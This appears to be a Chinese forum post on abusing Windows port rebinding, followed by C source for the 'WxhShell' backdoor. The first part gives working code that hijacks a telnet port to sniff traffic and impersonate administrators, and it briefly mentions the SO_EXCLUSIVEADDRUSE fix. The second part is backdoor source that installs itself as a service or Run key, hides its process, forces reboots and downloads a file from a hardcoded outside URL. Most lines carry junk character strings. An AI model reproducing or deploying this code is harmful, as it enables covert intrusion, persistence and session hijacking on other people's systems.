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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pwT|T;j*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <5@+:7Dv  
{F6hx9?  
  saddr.sin_family = AF_INET; xE;4#+_I  
(-(,~E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tNjb{(eO\h  
p+snBaAo}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,(N&%  
cInzwdh7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }/x `w  
L:%ek3SOz  
  这意味着什么?意味着可以进行如下的攻击: PQWo<Uet  
jeN_ sm81b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j,/OzVm9  
w:r0>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SLSJn))@!  
L q'*B9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x@m"[u  
ZL#4X*zT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \s`'3y  
G2ZF`WQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yf*MG&}  
~)tIO<$U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pw1V1v&> q  
%g5weiFM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E+dr\Xhv  
@,CCwiF'q  
  #include Z?oFee!4  
  #include K*'(;1AiW  
  #include 2[[ pd&MJZ  
  #include    c;Hf+n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mc?5,oz;pz  
  int main() A~\:}P N  
  { q !7z4Cn  
  WORD wVersionRequested;  6?+bi\6  
  DWORD ret; ^.mQ~F  
  WSADATA wsaData; x/~V ZO  
  BOOL val; 2!~ j(_TA  
  SOCKADDR_IN saddr; 2etcSU(y>  
  SOCKADDR_IN scaddr; &1F)/$,v  
  int err; Q6_!I42Y`  
  SOCKET s; ul(1)q^  
  SOCKET sc; OC#oJwC  
  int caddsize; 58mzh82+  
  HANDLE mt; KG'4;Z5J  
  DWORD tid;   \x(J v Dt  
  wVersionRequested = MAKEWORD( 2, 2 ); d5T0#ue/e  
  err = WSAStartup( wVersionRequested, &wsaData ); |ZJ]`qmZ  
  if ( err != 0 ) { +VdYT6{p  
  printf("error!WSAStartup failed!\n"); )Y\},O  
  return -1; #h /-  
  } 16keCG\  
  saddr.sin_family = AF_INET; J}i$ny_3OB  
   $T^O38$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8|dl t$  
j08 G-_Gjn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FnP/NoZa>  
  saddr.sin_port = htons(23); uB 6`e!Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tJUMLn?  
  { 2"'0OQN0\  
  printf("error!socket failed!\n"); TA`*]*O(  
  return -1; X@JDfn?A  
  } Fw!5hR`,  
  val = TRUE; AXH4jQw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]QtdT8~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5[al^'y  
  { x|U]x  
  printf("error!setsockopt failed!\n"); ti`z:8n7  
  return -1; m589C+7  
  } )cUc}Avg}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {3$ge  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C&NoEtL>s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 59$mfW o>  
7_E+y$i=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6^mO<nB   
  { HMgZ& v  
  ret=GetLastError(); Q6MDhv,  
  printf("error!bind failed!\n"); _R8)%<E  
  return -1; :&2RV_$>=  
  } .o:Pe2C  
  listen(s,2); u&STGc[  
  while(1) ~Msee+ZZ :  
  { rP2^D[uM.  
  caddsize = sizeof(scaddr); MGX,JW>L  
  //接受连接请求 nDiD7:e7=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =Q.2:*d.  
  if(sc!=INVALID_SOCKET) gEO#-tMjOQ  
  { VMad ]bEf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {u9(qd;;  
  if(mt==NULL) fF_1ZKx+#!  
  { )}~k7bb}Y  
  printf("Thread Creat Failed!\n"); NX@TWBn%  
  break; vo!:uvy;2  
  } dB<BEe\$g.  
  } ZA1?'  
  CloseHandle(mt); qO Zc}J0  
  } AcrbR&cvG  
  closesocket(s); Mq[;:  
  WSACleanup(); }-V .upl  
  return 0; ?j ?{} Z  
  }   4D$$KSa  
  DWORD WINAPI ClientThread(LPVOID lpParam) , j'=sDl  
  { b\U Q6 V  
  SOCKET ss = (SOCKET)lpParam; S?OK@UEJ  
  SOCKET sc; s]5wzbFO  
  unsigned char buf[4096]; 7T_g?!sdMh  
  SOCKADDR_IN saddr; @s/;y VVq  
  long num;  42Gr0+Mb  
  DWORD val; qoB   
  DWORD ret; ]B3 0d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MO9}It g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D4Uz@2_  
  saddr.sin_family = AF_INET; ]o6yU#zn~e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lr+Kwve  
  saddr.sin_port = htons(23); +@Fy) {C7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OZ![9l  
  { }!Qo wG   
  printf("error!socket failed!\n"); .3{S6#  
  return -1; #c+N}eX{  
  } QMy;?,  
  val = 100; *ErTDy(   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oxPOfI1%]  
  { U[U$1LSS  
  ret = GetLastError(); gLl?e8[F  
  return -1; g}ciG!0  
  } xfkG&&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z ]o&^Q  
  { TkWS-=lNH0  
  ret = GetLastError(); xb8fV*RO8A  
  return -1; m?;)C~[  
  } o%M~Q<wf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Arir=q^2  
  { 0Hff/~J  
  printf("error!socket connect failed!\n"); H",yVD  
  closesocket(sc); rU<  H7U  
  closesocket(ss); x:xKlPGd  
  return -1; nP 2rN_:4  
  } ef f6=DP  
  while(1) s3g$F23  
  { M`BD]{tN}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6x*ImhQ.J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mr2dhSQ !  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fdm7k){A  
  num = recv(ss,buf,4096,0); BxG0vJN|  
  if(num>0) cX7xG U  
  send(sc,buf,num,0); L.U [eH  
  else if(num==0) 0z#+^  
  break; }= s@y"["  
  num = recv(sc,buf,4096,0); &m>`+uVBP  
  if(num>0) CyzvQfpZr  
  send(ss,buf,num,0); ?.\ CUVK  
  else if(num==0) MA(\ r  
  break; F =iz\O!6  
  } 4)JrOe&k  
  closesocket(ss); (LL4V 3)  
  closesocket(sc); zclt2?  
  return 0 ; jGR_EE  
  } 0u'2f`p*  
TQE3/IL  
hS*3yCE"8  
========================================================== zoC/Hm  
Y<w2_+(  
下边附上一个代码,,WXhSHELL yHr/i) c  
/  DeI s  
========================================================== Ln[R}qD  
SQ>.P  
#include "stdafx.h" *Z|!%C  
<G2;nvRr  
#include <stdio.h> 3t68cdFlz  
#include <string.h> zhHQJcQ.  
#include <windows.h> `u%//m_(  
#include <winsock2.h> )P:TVe9`  
#include <winsvc.h> ua`2 & ;T=  
#include <urlmon.h> e{To&gy~  
E^A9u |x  
#pragma comment (lib, "Ws2_32.lib") jl3RE|M\<  
#pragma comment (lib, "urlmon.lib") ;OPzT9  
{-Yp~HQF  
#define MAX_USER   100 // 最大客户端连接数 GG(rp]rgl  
#define BUF_SOCK   200 // sock buffer HxU.kcf  
#define KEY_BUFF   255 // 输入 buffer sb4r\[?  
b=K    
#define REBOOT     0   // 重启 ^YenS6`F  
#define SHUTDOWN   1   // 关机 W$?1" F.  
`@?l{  
#define DEF_PORT   5000 // 监听端口 ln9MVF'!&  
^Bm9y R  
#define REG_LEN     16   // 注册表键长度 ^tc@bsUF  
#define SVC_LEN     80   // NT服务名长度 {r[ *}Bv  
[K&O]s<Y  
// 从dll定义API [g&Q_+,j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p*#SSR9<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [7|}h/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =]-!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c!{.BgGN  
dfc-#I p?  
// wxhshell配置信息 FEU$D\1y  
struct WSCFG { ;P5\EJo  
  int ws_port;         // 监听端口 78dmXOZ'_h  
  char ws_passstr[REG_LEN]; // 口令 .Pxb9mW  
  int ws_autoins;       // 安装标记, 1=yes 0=no kRSu6r9  
  char ws_regname[REG_LEN]; // 注册表键名 'PV,c|f>  
  char ws_svcname[REG_LEN]; // 服务名 f[%\LHq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P0' ;65  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &vdGKYs 6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p7zHP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d cPh @3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @iC!Q>D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 53BXz= k  
UupQ* ,dJ  
}; )c]GgPH  
!*C^gIQGU  
// default Wxhshell configuration 8 l}tYl`|  
struct WSCFG wscfg={DEF_PORT, N5%~~JRO  
    "xuhuanlingzhe", rIW`(IG_  
    1, 0)k%nIhj  
    "Wxhshell", 4?jhZLBU  
    "Wxhshell", OaU} 9&  
            "WxhShell Service", rZ:  
    "Wrsky Windows CmdShell Service", ?kE2 S6j5  
    "Please Input Your Password: ", <mrLld#_:C  
  1, 9XobTi3+'  
  "http://www.wrsky.com/wxhshell.exe", ?D57HCd`n  
  "Wxhshell.exe" -uy}]s5Qu  
    }; yq6!8OkF  
F[RhuNa&'W  
// 消息定义模块 lS XhHy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }! zjj\g^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W!XFaA$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7D9R^\K  
char *msg_ws_ext="\n\rExit."; F_YZV)q!W  
char *msg_ws_end="\n\rQuit."; z7HC6{g%X  
char *msg_ws_boot="\n\rReboot..."; hl6al:Y  
char *msg_ws_poff="\n\rShutdown..."; C:EF(/>+-  
char *msg_ws_down="\n\rSave to "; I?bL4u$\  
%b@>riR(y  
char *msg_ws_err="\n\rErr!"; LO# {   
char *msg_ws_ok="\n\rOK!"; rLh490@  
,_\h)R_  
char ExeFile[MAX_PATH]; "pMXTRb  
int nUser = 0; la|#SS95  
HANDLE handles[MAX_USER]; =E4nNL?  
int OsIsNt; 3,N7Nfe  
OK3B6T5w=  
SERVICE_STATUS       serviceStatus; wT*`Od8w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IK~ur\3  
C[gSiL  
// 函数声明 05|t  
int Install(void); ^]E| >~\  
int Uninstall(void); /*r MveT  
int DownloadFile(char *sURL, SOCKET wsh); FCqs'  
int Boot(int flag); Pbm ;@ V  
void HideProc(void); Wd~}O<"  
int GetOsVer(void); 9FPl  
int Wxhshell(SOCKET wsl); ?em)om  
void TalkWithClient(void *cs); w<\N-J|m  
int CmdShell(SOCKET sock); dn%/SJC  
int StartFromService(void); bsqoR8  
int StartWxhshell(LPSTR lpCmdLine); Q6Jb]>g\H  
G!0|ocE}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O}#*U+j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M 80Us.  
iDHmS6_c  
// 数据结构和表定义 RoJ&dK  
SERVICE_TABLE_ENTRY DispatchTable[] = ;#r tV;  
{ `z+:Z>>  
{wscfg.ws_svcname, NTServiceMain}, U?xl%qF`)  
{NULL, NULL} G>#L  
}; k E6\G}zj  
#cjB <APY  
// 自我安装 #BT= K  
int Install(void) UT[KwM{y  
{ JhB{aW>  
  char svExeFile[MAX_PATH]; M&Ycw XV:Z  
  HKEY key; q'  _  
  strcpy(svExeFile,ExeFile); :V+t|@m5l  
tkNuM0  
// 如果是win9x系统,修改注册表设为自启动 >A2& Mjo  
if(!OsIsNt) { Ix1ec^?f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zh3]bg5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3bE^[V8/  
  RegCloseKey(key); VMHiuBz:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H26 j]kY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x%cKTpDh!  
  RegCloseKey(key); %pTbJaM\U  
  return 0; 4I{|M,+  
    } Eq'{uV:  
  } gK#a C [  
} )o9CFhFB  
else { 9;h 1;9sC|  
EWH'x$z_q  
// 如果是NT以上系统,安装为系统服务 7J$ ^R6rh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3@6f%Dyj  
if (schSCManager!=0) @jwUH8g1  
{ 6 D!,vu  
  SC_HANDLE schService = CreateService ;]<$p[m  
  ( mRQ F5W6  
  schSCManager, .0\Wu+  
  wscfg.ws_svcname, y6:=2(]w<p  
  wscfg.ws_svcdisp, `@Kh>K  
  SERVICE_ALL_ACCESS, {/#?n["  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I"<~!krt%  
  SERVICE_AUTO_START, T(ponLh  
  SERVICE_ERROR_NORMAL, ?P"ht  
  svExeFile, m;Sw`nw?  
  NULL, 3=;iC6 `  
  NULL, W-Hw%bwN/q  
  NULL, VZ_ 4B *D  
  NULL, F\Tlpp9  
  NULL H+*o @0C\~  
  ); I:mJWe  
  if (schService!=0) ]IyC  
  { !t;$n!7<  
  CloseServiceHandle(schService); "%>/rh2Iq  
  CloseServiceHandle(schSCManager); 173/A=]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HC!$Z`}Y  
  strcat(svExeFile,wscfg.ws_svcname); RJBNY;0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C(W?)6?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w="I*7c@  
  RegCloseKey(key); n"_EDb  
  return 0; M%9PVePOe  
    } k}jH  
  } ~rn82an@G  
  CloseServiceHandle(schSCManager); )G*H l^Z;4  
} eJ7A.O  
} o @&#*3<_e  
/i^b;?/1  
return 1; ZH&%D*a&  
} EZBk;*= B  
<M+ZlF-`  
// 自我卸载 f}XUxIQ-<  
int Uninstall(void) dVCBpCxI  
{ NUx%zY  
  HKEY key; rJ!xzge;G  
UXIq>[2Z1  
if(!OsIsNt) { .F 3v)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3(FJ<,"D}  
  RegDeleteValue(key,wscfg.ws_regname); 7%)4cHZ^$?  
  RegCloseKey(key); 0YIvE\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )(75dUl  
  RegDeleteValue(key,wscfg.ws_regname); 7b'XQ/rs  
  RegCloseKey(key); `n5|4yaG~  
  return 0; a*%>H(x  
  } Ce`{M&NSWX  
} Oo=} j  
} dc%+f  
else { Is?0q@  
6ng . =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lxd*W2$3_  
if (schSCManager!=0) {f3T !e{  
{ lBPZB%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jF-z?  
  if (schService!=0) 5 QMu=/  
  { | L fH,6  
  if(DeleteService(schService)!=0) { H;IG\k6C  
  CloseServiceHandle(schService); Y.Gr(]tk  
  CloseServiceHandle(schSCManager); tr/S*0$  
  return 0; &?YQVwsN  
  } -Ux/ Ug@  
  CloseServiceHandle(schService); ,{:5Z:<|  
  } Fwho.R-.  
  CloseServiceHandle(schSCManager); -Z6ot{%  
} \Sg&Qv`  
} #l:qht  
]j_S2lt  
return 1; hc~--[1c:  
} Hh54&YKZ  
m 0un=>{  
// 从指定url下载文件 6!b96bV  
int DownloadFile(char *sURL, SOCKET wsh) WR~uy|mX  
{ G%rK{h  
  HRESULT hr; =%$ _)=}J  
char seps[]= "/"; 52-^HV  
char *token; r=qb[4HiV  
char *file; yuKfhg7  
char myURL[MAX_PATH]; R.> /%o  
char myFILE[MAX_PATH]; "C}nS=]8m  
::adT=  
strcpy(myURL,sURL); oOQnV(I  
  token=strtok(myURL,seps); $Ce`(/  
  while(token!=NULL) d!w32Y,.  
  { hDVD@b  
    file=token; <\Y>y+$3  
  token=strtok(NULL,seps); p~=%CG^5  
  } 8(uxz84ce  
n;O 3.2  
GetCurrentDirectory(MAX_PATH,myFILE); DB%=/ \U  
strcat(myFILE, "\\"); OL=IUg"  
strcat(myFILE, file); Ep?a1&b  
  send(wsh,myFILE,strlen(myFILE),0); L>pP3[~DV  
send(wsh,"...",3,0); jC; XY!d6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^$rt|]  
  if(hr==S_OK) V^?+|8_(  
return 0; 183'1Z$KA  
else p &XbXg-  
return 1;  "FG6R'  
VWbgusxJ  
} iM}cd$r{  
Vs9fAAXS4  
// 系统电源模块 y . AN0  
int Boot(int flag) zjVb+Z\n  
{ SznNvd <  
  HANDLE hToken; YZ/mTQn_D  
  TOKEN_PRIVILEGES tkp; KX`MX5?x  
5/neV&VcB  
  if(OsIsNt) { }Y<(1w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NIV&)`w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4my8 p Fk  
    tkp.PrivilegeCount = 1; FC vR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H(n_g QAX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7J0 PO}N  
if(flag==REBOOT) { ` LU&]NS3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6=|Q>[K  
  return 0; @8V8gV? zm  
} Z>Sv[Ec  
else { 2+y4Gd 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RZDZ3W(;h  
  return 0; 8FbBv"LI,g  
} =o+t_.)N  
  } Lqwc:%Y:_  
  else { g($y4~#  
if(flag==REBOOT) { Qv']*C[!z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~-'nEATE  
  return 0; aD%")eP%&  
} |A5]hL   
else { gqG l>=.m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9)mJo(  
  return 0; AL,|%yup  
} 7j._3'M=Kc  
} K$f~Fft  
ob-be2EysH  
return 1; O% 9~1_  
} 97<Y. 0  
w[]7{ D];  
// win9x进程隐藏模块 +O\6p  
void HideProc(void) 1gCp/m2r7  
{ l_QpPo!a  
|bB..b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b\6w[52m  
  if ( hKernel != NULL ) MUVp8! *@  
  { <qv:7@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M62V NYt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); . VWH  
    FreeLibrary(hKernel); >/evL /  
  } ) ~ C)4  
wK|&[m s  
return; x!LUhX '  
} P+oCcYp  
]Nsb V  
// 获取操作系统版本 s)&"g a  
int GetOsVer(void) +| Cvv]Tx1  
{ 2Ni2Gkf@  
  OSVERSIONINFO winfo; =}_c=z?UY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *i)GoQoB  
  GetVersionEx(&winfo); &bA;>Lu#|o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [(UQQa=+  
  return 1; uw;s](~E  
  else 8 rnr>Ee@  
  return 0; "f5u2=7 }  
} VZw("a*TB  
@HaWd 3  
// 客户端句柄模块  EMJio\  
int Wxhshell(SOCKET wsl) X @r5^A[9  
{ :t9(T?2  
  SOCKET wsh; Q_M2!qj  
  struct sockaddr_in client; ?Yz.tg  
  DWORD myID; IKAF%0[R|j  
cUS2* 7h  
  while(nUser<MAX_USER) `(Ei-$ >U&  
{ 6n;ewl}  
  int nSize=sizeof(client);  @(Q4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &X +@,!  
  if(wsh==INVALID_SOCKET) return 1; $mp7IZE|  
Lf7iOW9U3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A\k-OP]  
if(handles[nUser]==0) =XudL^GF  
  closesocket(wsh); Yo(8mtYU  
else CbK7="48  
  nUser++; qdUlT*fw  
  } F'|,(P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^3AJYu  
-/7[_,  
  return 0; Tcr&{S&o  
} /`2VJw  
%xWmzdn  
// 关闭 socket .{)b^gE  
void CloseIt(SOCKET wsh) ,cgC_ %  
{ ~5]AXi'e~  
closesocket(wsh); ZL~}B.nqS  
nUser--; bNIT 1'v  
ExitThread(0); "eGS~-DVK  
} p7 2+:I  
WV?iYX!  
// 客户端请求句柄 c( gUH  
void TalkWithClient(void *cs) "ve?7&G7U  
{ mQ' ]0DS  
rPr#V1}1a  
  SOCKET wsh=(SOCKET)cs; rA{h/T"  
  char pwd[SVC_LEN]; _czLKbcF  
  char cmd[KEY_BUFF]; m0/J3  
char chr[1]; OM2|c}]ZQ  
int i,j; uyAhN  
c S{l2}E  
  while (nUser < MAX_USER) { iHQFieZ.E  
h_y<A@[P}  
if(wscfg.ws_passstr) { ChGwG.-%L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _v]I6<!5U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZOS{F_2.  
  //ZeroMemory(pwd,KEY_BUFF); Wpj.G  
      i=0; -cIc&5CS  
  while(i<SVC_LEN) { Na3tK}x  
xp><7{  
  // 设置超时 ?55('+{l  
  fd_set FdRead; PS \QbA  
  struct timeval TimeOut; EA?:GtH  
  FD_ZERO(&FdRead); I~4 `NV0  
  FD_SET(wsh,&FdRead); bFJmXx&  
  TimeOut.tv_sec=8; w )DO"Z7  
  TimeOut.tv_usec=0; V<ODt%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o{>hOs &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VO++(G)  
?86h:9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bg7?1m  
  pwd=chr[0]; Hk3HzN 3  
  if(chr[0]==0xd || chr[0]==0xa) { @A$%baH0  
  pwd=0; Q"Q|]f*  
  break; q@Q|oB0W$)  
  } $Q]`+:g*}  
  i++; 7e}p:Vfp  
    } x2|DI)J1'  
!.3 MtXr  
  // 如果是非法用户,关闭 socket '90B),c{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Tv< l  
} oHeo]<Fbv  
,{zvGZ|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MQ,$'Y5~H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | b@?]M  
|Zkcs]8M!  
while(1) { S7N54X2JwL  
@,zBZNX y  
  ZeroMemory(cmd,KEY_BUFF); $o]suF;3  
EXb{/4  
      // 自动支持客户端 telnet标准   %y8w9aGt  
  j=0; zU1rjhv+  
  while(j<KEY_BUFF) { QHtpCNTVb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -pX/Tt6  
  cmd[j]=chr[0]; 5zEl`h  
  if(chr[0]==0xa || chr[0]==0xd) { eaF5S'k 4$  
  cmd[j]=0; V @d:n  
  break; P[gk9{sv  
  } _jeub [  
  j++; |bd5aRS9  
    } 7d'@Z2%J0  
_)%4NjWKk  
  // 下载文件 _);1dcnR  
  if(strstr(cmd,"http://")) { wl(}F^:/`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =PO/Q|-v?  
  if(DownloadFile(cmd,wsh)) :q6hT<f;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &TC  
  else r Ld,Izi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-4I e  
  } (S9"(\A  
  else { q{KRM\ooYs  
_L# Tp  
    switch(cmd[0]) { @h ^5*M  
  gdkO|x  
  // 帮助  hA/FK  
  case '?': { 8U\ +b?}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ncS^NH(&  
    break; rEddX  
  } S93NsrBbY  
  // 安装 C"0gAN  
  case 'i': { @6t3Us~/  
    if(Install()) Zsf<)Vx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /B}]{bcp$  
    else Fb-NG.Z#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LM*9b  
    break; +.>O%pNj  
    } z!RA=]3h  
  // 卸载 Z39^nGO  
  case 'r': { >1joCG~  
    if(Uninstall()) &dOV0y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[~O`Lz  
    else p&ow\A O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#Eqe O  
    break; 'n>|jw)  
    } %f:'A%'Qb  
  // 显示 wxhshell 所在路径  JTz1M~  
  case 'p': { @&h<jM{D  
    char svExeFile[MAX_PATH]; 0*tEuJ7  
    strcpy(svExeFile,"\n\r"); * z{D}L-&  
      strcat(svExeFile,ExeFile); Uhg[#TUK  
        send(wsh,svExeFile,strlen(svExeFile),0); %e1<N8E4  
    break; 4H\O&pSS  
    } *NXwllrci  
  // 重启 ;#f%vs>Y7i  
  case 'b': { #*Mk@XrV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y{jv-&!xB  
    if(Boot(REBOOT)) )03.6 Pvs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`@$YXuD  
    else { EDnmYaa)dZ  
    closesocket(wsh); !)LR41>?  
    ExitThread(0); WpmypkJA#  
    } ;q$<]X_S)}  
    break; 6] <?+#uQ  
    } J'B;  
  // 关机 I s8|  
  case 'd': { J^t=.-a|  
